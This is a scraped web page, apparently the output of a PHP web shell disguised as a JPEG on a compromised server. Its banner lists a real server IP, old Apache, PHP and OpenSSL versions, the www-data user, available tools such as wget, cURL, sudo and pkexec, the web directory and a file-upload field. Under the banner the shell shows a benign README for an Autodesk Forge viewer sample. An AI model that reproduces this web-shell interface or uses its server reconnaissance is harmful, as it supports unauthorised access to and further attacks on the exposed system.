????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.222.48.95 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/ |
Upload File : |
# Online Viewer sample [](https://nodejs.org/) [](https://www.npmjs.com/)  [](http://opensource.org/licenses/MIT) [](https://forge.autodesk.com/) [](https://forge.autodesk.com/) [](https://forge.autodesk.com/) [](https://forge.autodesk.com/) # Description This sample is part of the [Online Viewer Walkthrough](https://forge.autodesk.com/developer/learn/viewer-app). In this sample, we will be creating a simple web page that allows end users to upload some files to Forge storage service, then translate them and display them in a web browser. - Authenticate your developer identity - Create a bucket - Get bucket detail - Save a supported file to a bucket - Read the uploaded file from a bucket - Translate the file to the SVF format - Display the file in a web browser ## Thumbnail  # Setup ## Prerequisites 1. A Forge account: [Getting Started with Forge](https://forge.autodesk.com/developer/getting-started) 2. A text editor of your choice. (For example Brackets or Visual Studio Code are good choices.) 3. A basic knowledge of : - HTML and CSS - JavaScript ES6 - Command-line programs - Node.js Command Line (for Windows users) - Terminal (for Mac/Linux/Unix users) ## Running locally Install [NodeJS](https://nodejs.org/) (version 8 or newer). Clone this project or download it. It's recommended to install [GitHub desktop](https://desktop.github.com/). To run it, install the required packages, set the enviroment variables with your client ID & secret and finally start it. Via command line, navigate to the folder where this repository was cloned and use the following: Mac OSX/Linux (Terminal) ```bash npm install export FORGE_CLIENT_ID=<<YOUR CLIENT ID FROM DEVELOPER PORTAL>> export FORGE_CLIENT_SECRET=<<YOUR CLIENT SECRET>> npm start ``` Windows (use Node.js command line from Start menu) ```bash npm install set FORGE_CLIENT_ID=<<YOUR CLIENT ID FROM DEVELOPER PORTAL>> set FORGE_CLIENT_SECRET=<<YOUR CLIENT SECRET>> npm start ``` Open a browser and navigate to http://localhost:3000. Click on the `Authorize me` link and then click through the links on the browser to: - Create a bucket - Save a supported file to a bucket - Display the file in a web browser *NOTE:* _It may take several minutes to complete translate the file._ # License This sample is licensed under the terms of the [MIT License](http://opensource.org/licenses/MIT). Please see the [LICENSE](LICENSE) file for full details. # Support forge.help@autodesk.com